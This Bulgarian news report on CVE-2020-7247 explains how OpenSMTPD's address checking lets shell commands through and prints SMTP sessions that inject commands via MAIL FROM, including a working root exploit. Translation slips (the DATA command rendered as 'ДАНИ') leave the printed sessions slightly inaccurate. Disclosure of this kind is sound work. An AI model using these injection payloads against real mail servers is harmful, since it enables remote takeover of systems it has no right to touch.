Уязвимост в OpenSMTPD, позволяваща дистанционно изпълнение на код с права root

В развиваемия проект OpenBSD за пощенския сървър OpenSMTPD е открита критична уязвимост (CVE-2020-7247), позволяваща дистанционно изпълнение на shell команди на сървър с права на потребителя root. Уязвимостта е установена в резултат на повторен одит, проведен от компанията Qualys Security (предишният одит на OpenSMTPD е проведен през 2015 г., а новата уязвимост съществува от май 2018 г.). Проблемът е отстранена е в изданието OpenSMTPD 6.6.2. На всички потребители се препоръчва незабавно да инсталират актуализация (за OpenBSD корекцията може да се инсталира чрез syspatch).

Предложени са два варианта на атака. Първият вариант работи в конфигурацията на OpenSMTPD по подразбиране (прием на заявки само от localhost) и позволява експлоатиране на проблема локално, когато атакуващият има възможност да достъпи локалния мрежови интерфейс (loopback) на сървъра (например, на хостинг системи). Вторият вариант се проявява при настройка на OpenSMTPD за приемане на външни мрежови заявки (пощенски сървър, приемащ външна поща). Изследователите са подготвили прототип на експлойт, който успешно работи както с варианта OpenSMTPD от OpenBSD 6.6, така и с преносимата версия за други ОС (отсечено в Debian Testing).

Проблемът е причинен от грешка в функцията smtp_mailaddr(), която се извиква за проверка на коректността на стойностите в полетата 'MAIL FROM' и 'RCPT TO', определящи изпращача/приемателя и предавани по време на връзката с пощенския сървър. За проверка на частта от имейл адреса, която е преди символа '@', в smtp_mailaddr() се извиква функция
valid_localpart(), която счита допустими (MAILADDR_ALLOWED) символите '!#$%&’*?/^`{|}~+-=_', в съответствие с изискванията на RFC 5322.

В този контекст непосредственото екраниране на стринга се извършва в функцията mda_expand_token(), която заменя само символите '!#$%&’*?`{|}~' (MAILADDR_ESCAPE). В последствие, подготвеният в mda_expand_token() стринг се използва при извикване на агент за доставка (MDA) чрез командата ‘execle("/bin/sh", "/bin/sh", "-c", mda_command,…’. При вкарване на писмо в mbox чрез /bin/sh се активира стрингът ‘/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}’, където стойността ‘%{mbox.from}’ включва екранираните данни от параметъра 'MAIL FROM'.

Същността на уязвимостта е, че функцията smtp_mailaddr() има логическа грешка, при която при предаване на празен домейн в имейл, функцията връща успешен код за проверка, дори и ако частта от адреса преди «@» съдържа недопустими символи. По-нататък при подготовката на низ с функцията mda_expand_token() не се екранират всички възможни специални символи на shell, а само специалните символи, допустими в имейл адреса. Така, за да се стартира своя команда, е достатъчно да се използва символът «;» и интервал в локалната част на имейла, които не попадат в набора MAILADDR_ESCAPE и не се екранират. Например:

$ nc 127.0.0.1 25

HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:<root>
ДАНИ
.
QUIT

След тази сесия OpenSMTPD при доставката в mbox ще стартира чрез shell команда

/usr/libexec/mail.local -f ;sleep 66; root

Възможностите за атака обаче са ограничени от това, че локалната част на адреса не може да надвишава 64 символа, а специалните символи ‘$’ и ‘|’ се заменят с «:» при екраниране. За заобикалянето на това ограничение е използван фактът, че тялото на писмото се предава след стартиране на /usr/libexec/mail.local чрез входния поток, т.е. чрез манипулации с адреса може да се стартира само командния интерпретатор sh и да се използва тялото на писмото като набор от инструкции. Тъй като в началото на писмото се посочват служебните SMTP заглавия, предлага се да се използва извикване на командата read в цикъл, за да се пропуснат. Работещият експлойт придобива приблизително такъв вид:

$ nc 192.168.56.143 25

HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
ДАНИ
#0
#1
…
#d
for i in W O P R; do
echo -n «($i) » && id || break
done > /root/x.»`id -u`».»$$»
.
QUIT

Източник: opennet.ru

Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри 🔥 Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри | ProHoster